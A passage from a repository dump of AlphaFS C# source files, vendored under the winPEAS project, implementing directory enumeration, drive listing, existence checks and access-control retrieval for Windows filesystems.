[SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, null, null, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, Path.WildcardStarMatchAll, null, options, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, Path.WildcardStarMatchAll, null, options, filters, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, null, options, filters, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file names in a specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of the full names (including paths) for the files in the directory specified by <paramref name=\"path\"/> and that match the <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Argument searchPattern is obsolete. The DirectoryEnumerationFilters argument provides better filter criteria.\")]\n      public static IEnumerable<string> EnumerateFilesTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, null, options, filters, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.EnumerateLogicalDrives.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Enumerates the drive names of all logical drives on the Computer with the ready status.</summary>\n      /// <returns>An IEnumerable of type <see cref=\"DriveInfo\"/> that represents the logical drives on the Computer.</returns>\n      [SecurityCritical]\n      public static IEnumerable<DriveInfo> EnumerateLogicalDrives()\n      {\n         return EnumerateLogicalDrivesCore(false, true);\n      }\n\n\n      /// <summary>[AlphaFS] Enumerates the drive names of all logical drives on the Computer.</summary>\n      /// <returns>An IEnumerable of type <see cref=\"DriveInfo\"/> that represents the logical drives on the Computer.</returns>\n      /// <param name=\"fromEnvironment\">Retrieve logical drives as known by the Environment.</param>\n      /// <param name=\"isReady\">Retrieve only when accessible (IsReady) logical drives.</param>\n      [SecurityCritical]\n      public static IEnumerable<DriveInfo> EnumerateLogicalDrives(bool fromEnvironment, bool isReady)\n      {\n         return EnumerateLogicalDrivesCore(fromEnvironment, isReady);\n      }\n\n\n\n\n      /// <summary>Enumerates the drive names of all logical drives on the Computer.</summary>\n      /// <returns>An IEnumerable of type <see cref=\"DriveInfo\"/> that represents the logical drives on the Computer.</returns>\n      /// <param name=\"fromEnvironment\">Retrieve logical drives as known by the Environment.</param>\n      /// <param name=\"isReady\">Retrieve only when accessible (IsReady) logical drives.</param>\n      [SecurityCritical]\n      internal static IEnumerable<DriveInfo> EnumerateLogicalDrivesCore(bool fromEnvironment, bool isReady)\n      {\n         // Get from Environment.\n\n         if (fromEnvironment)\n         {\n            var drivesEnv = isReady\n               ? Environment.GetLogicalDrives().Where(ld => File.ExistsCore(null, true, ld, PathFormat.FullPath))\n               : Environment.GetLogicalDrives().Select(ld => ld);\n\n            foreach (var drive in drivesEnv)\n            {\n               // Optionally check Drive .IsReady.\n               if (isReady)\n               {\n                  if (File.ExistsCore(null, true, drive, PathFormat.FullPath))\n                     yield return new DriveInfo(drive);\n               }\n\n               else\n                  yield return new DriveInfo(drive);\n            }\n\n            yield break;\n         }\n\n\n         // Get through NativeMethod.\n\n         var lastError = NativeMethods.GetLogicalDrives();\n\n         // MSDN: GetLogicalDrives(): If the function fails, the return value is zero.\n         if (lastError == Win32Errors.ERROR_SUCCESS)\n            NativeError.ThrowException(lastError);\n\n\n         var drives = lastError;\n         var count = 0;\n         while (drives != 0)\n         {\n            if ((drives & 1) != 0)\n               ++count;\n\n            drives >>= 1;\n         }\n\n         var result = new string[count];\n         char[] root = {'A', Path.VolumeSeparatorChar};\n\n         drives = lastError;\n         count = 0;\n\n         while (drives != 0)\n         {\n            if ((drives & 1) != 0)\n            {\n               var drive = new string(root);\n\n               if (isReady)\n               {\n                  // Optionally check Drive .IsReady property.\n                  if (File.ExistsCore(null, true, drive, PathFormat.FullPath))\n                     yield return new DriveInfo(drive);\n               }\n               else\n               {\n                  // Ready or not.\n                  yield return new DriveInfo(drive);\n               }\n\n               result[count++] = drive;\n            }\n\n            drives >>= 1;\n            root[0]++;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.Exists.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Determines whether the given path refers to an existing directory on disk.</summary>\n      /// <returns>\n      ///   Returns <c>true</c> if <paramref name=\"path\"/> refers to an existing directory.\n      ///   Returns <c>false</c> if the directory does not exist or an error occurs when trying to determine if the specified file exists.\n      /// </returns>\n      /// <remarks>\n      ///   The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.\n      ///   This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,\n      ///   a failing or missing disk, or if the caller does not have permission to read the file.\n      /// </remarks>\n      /// <param name=\"path\">The path to test.</param>\n      [SecurityCritical]\n      public static bool Exists(string path)\n      {\n         return File.ExistsCore(null, true, path, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory on disk.</summary>\n      /// <returns>\n      ///   Returns <c>true</c> if <paramref name=\"path\"/> refers to an existing directory.\n      ///   Returns <c>false</c> if the directory does not exist or an error occurs when trying to determine if the specified file exists.\n      /// </returns>\n      /// <remarks>\n      ///   The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.\n      ///   This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,\n      ///   a failing or missing disk, or if the caller does not have permission to read the file.\n      /// </remarks>\n      /// <param name=\"path\">The path to test.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static bool Exists(string path, PathFormat pathFormat)\n      {\n         return File.ExistsCore(null, true, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.ExistsDrive.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Checks if specified <paramref name=\"path\"/> is a local- or network drive.</summary>\n      /// <param name=\"path\">The path to check, such as: \"C:\" or \"\\\\server\\c$\".</param>\n      /// <returns><c>true</c> if the drive exists, <c>false</c> otherwise.</returns>\n      public static bool ExistsDrive(string path)\n      {\n         return ExistsDriveOrFolderOrFile(null, path, false, (int) Win32Errors.NO_ERROR, false, false);\n      }\n\n\n      /// <summary>[AlphaFS] Checks if specified <paramref name=\"path\"/> is a local- or network drive.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to check, such as: \"C:\" or \"\\\\server\\c$\".</param>\n      /// <returns><c>true</c> if the drive exists, <c>false</c> otherwise.</returns>\n      public static bool ExistsDrive(KernelTransaction transaction, string path)\n      {\n         return ExistsDriveOrFolderOrFile(transaction, path, false, (int) Win32Errors.NO_ERROR, false, false);\n      }\n\n\n      /// <summary>[AlphaFS] Checks if specified <paramref name=\"path\"/> is a local- or network drive.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to check, such as: \"C:\" or \"\\\\server\\c$\".</param>\n      /// <param name=\"throwIfDriveNotExists\">Throws DeviceNotReadyException when drive is not found.</param>\n      /// <returns><c>true</c> if the drive exists, <c>false</c> otherwise.</returns>\n      [Obsolete(\"This function will be removed.\")]\n      public static bool ExistsDrive(KernelTransaction transaction, string path, bool throwIfDriveNotExists)\n      {\n         return ExistsDriveOrFolderOrFile(transaction, path, false, (int) Win32Errors.NO_ERROR, throwIfDriveNotExists, false);\n      }\n\n\n      /// <summary>[AlphaFS] Checks if specified <paramref name=\"path\"/> is a local- or network drive.</summary>\n      /// <returns><c>true</c> if the drive exists, <c>false</c> otherwise.</returns>\n      internal static bool ExistsDriveOrFolderOrFile(KernelTransaction transaction, string path, bool isFolder, int lastError, bool throwIfDriveNotExists, bool throwIfFolderOrFileNotExists)\n      {\n         if (Utils.IsNullOrWhiteSpace(path))\n            return false;\n\n\n         var drive = GetDirectoryRootCore(transaction, path, Path.IsPathRooted(path) ? PathFormat.FullPath : PathFormat.RelativePath);\n\n         var driveExists = null != drive && File.ExistsCore(transaction, true, drive, PathFormat.FullPath);\n\n         var regularPath = Path.GetCleanExceptionPath(path);\n\n\n         if (!driveExists && throwIfDriveNotExists || lastError == Win32Errors.ERROR_NOT_READY)\n            throw new DeviceNotReadyException(drive, true);\n\n\n         throwIfFolderOrFileNotExists = throwIfFolderOrFileNotExists && lastError != Win32Errors.NO_ERROR;\n\n         if (throwIfFolderOrFileNotExists)\n         {\n            if (lastError != Win32Errors.NO_ERROR)\n            {\n               if (lastError == Win32Errors.ERROR_PATH_NOT_FOUND)\n                  throw new DirectoryNotFoundException(regularPath);\n\n\n               if (lastError == Win32Errors.ERROR_FILE_NOT_FOUND)\n               {\n                  if (isFolder)\n                     throw new DirectoryNotFoundException(regularPath);\n\n                  throw new FileNotFoundException(regularPath);\n               }\n            }\n         }\n\n\n         return driveExists;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.ExistsTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory on disk.</summary>\n      /// <returns>\n      ///   Returns <c>true</c> if <paramref name=\"path\"/> refers to an existing directory.\n      ///   Returns <c>false</c> if the directory does not exist or an error occurs when trying to determine if the specified file exists.\n      /// </returns>\n      /// <remarks>\n      ///   The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.\n      ///   This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,\n      ///   a failing or missing disk, or if the caller does not have permission to read the file.\n      /// </remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to test.</param>\n      [SecurityCritical]\n      public static bool ExistsTransacted(KernelTransaction transaction, string path)\n      {\n         return File.ExistsCore(transaction, true, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory on disk.</summary>\n      /// <returns>\n      ///   Returns <c>true</c> if <paramref name=\"path\"/> refers to an existing directory.\n      ///   Returns <c>false</c> if the directory does not exist or an error occurs when trying to determine if the specified file exists.\n      /// </returns>\n      /// <remarks>\n      ///   The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.\n      ///   This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,\n      ///   a failing or missing disk, or if the caller does not have permission to read the file.\n      /// </remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to test.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static bool ExistsTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.ExistsCore(transaction, true, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetAccessControl.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\nusing Alphaleonis.Win32.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Gets a <see cref=\"DirectorySecurity\"/> object that encapsulates the access control list (ACL) entries for the specified directory.</summary>\n      /// <returns>A <see cref=\"DirectorySecurity\"/> object that encapsulates the access control rules for the file described by the <paramref name=\"path\"/> parameter.</returns>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to a directory containing a <see cref=\"DirectorySecurity\"/> object that describes the file's access control list (ACL) information.</param>\n      [SecurityCritical]\n      public static DirectorySecurity GetAccessControl(string path)\n      {\n         return File.GetAccessControlCore<DirectorySecurity>(true, path, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Gets a <see cref=\"DirectorySecurity\"/> object that encapsulates the access control list (ACL) entries for the specified directory.</summary>\n      /// <returns>A <see cref=\"DirectorySecurity\"/> object that encapsulates the access control rules for the file described by the <paramref name=\"path\"/> parameter.</returns>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to a directory containing a <see cref=\"DirectorySecurity\"/> object that describes the file's access control list (ACL) information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DirectorySecurity GetAccessControl(string path, PathFormat pathFormat)\n      {\n         return File.GetAccessControlCore<DirectorySecurity>(true, path, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, pathFormat);\n      }\n\n\n      /// <summary>Gets a <see cref=\"DirectorySecurity\"/> object that encapsulates the specified type of access control list (ACL) entries for a particular directory.</summary>\n      /// <returns>A <see cref=\"DirectorySecurity\"/> object that encapsulates the access control rules for the directory described by the <paramref name=\"path\"/> parameter. </returns>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to a directory containing a <see cref=\"DirectorySecurity\"/> object that describes the directory's access control list (ACL) information.</param>\n      /// <param name=\"includeSections\">One (or more) of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to receive.</param>\n      [SecurityCritical]\n      public static DirectorySecurity GetAccessControl(string path, AccessControlSections includeSections)\n      {\n         return File.GetAccessControlCore<DirectorySecurity>(true, path, includeSections, PathFormat.RelativePath);\n      }\n      \n\n      /// <summary>[AlphaFS] Gets a <see cref=\"DirectorySecurity\"/> object that encapsulates the specified type of access control list (ACL) entries for a particular directory.</summary>\n      /// <returns>A <see cref=\"DirectorySecurity\"/> object that encapsulates the access control rules for the directory described by the <paramref name=\"path\"/> parameter. </returns>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to a directory containing a <see cref=\"DirectorySecurity\"/> object that describes the directory's access control list (ACL) information.</param>\n      /// <param name=\"includeSections\">One (or more) of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to receive.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DirectorySecurity GetAccessControl(string path, AccessControlSections includeSections, PathFormat pathFormat)\n      {\n         return File.GetAccessControlCore<DirectorySecurity>(true, path, includeSections, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a <see cref=\"DirectorySecurity\"/> object that encapsulates the access control list (ACL) entries for the specified directory handle.</summary>\n      /// <returns>A <see cref=\"DirectorySecurity\"/> object that encapsulates the access control rules for the file described by the <paramref name=\"handle\"/> parameter.</returns>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> to a directory containing a <see cref=\"DirectorySecurity\"/> object that describes the directory's access control list (ACL) information.</param>\n      [SecurityCritical]\n      public static DirectorySecurity GetAccessControl(SafeFileHandle handle)\n      {\n         return File.GetAccessControlHandleCore<DirectorySecurity>(false, true, handle, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, SECURITY_INFORMATION.None);\n      }\n\n\n      /// <summary>[AlphaFS] Gets a <see cref=\"DirectorySecurity\"/> object that encapsulates the specified type of access control list (ACL) entries for a particular directory handle.</summary>\n      /// <returns>A <see cref=\"DirectorySecurity\"/> object that encapsulates the access control rules for the directory described by the <paramref name=\"handle\"/> parameter. </returns>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"handle\">A <see cref=\"SafeFileHandle\"/> to a directory containing a <see cref=\"DirectorySecurity\"/> object that describes the directory's access control list (ACL) information.</param>\n      /// <param name=\"includeSections\">One (or more) of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to receive.</param>\n      [SecurityCritical]\n      public static DirectorySecurity GetAccessControl(SafeFileHandle handle, AccessControlSections includeSections)\n      {\n         return File.GetAccessControlHandleCore<DirectorySecurity>(false, true, handle, includeSections, SECURITY_INFORMATION.None);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetCurrentDirectory.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>\n      /// Gets the current working directory of the application.\n      /// <para>\n      ///   MSDN: Multithreaded applications and shared library code should not use the GetCurrentDirectory function and should avoid using relative path names.\n      ///   The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process,\n      ///   therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value.\n      ///   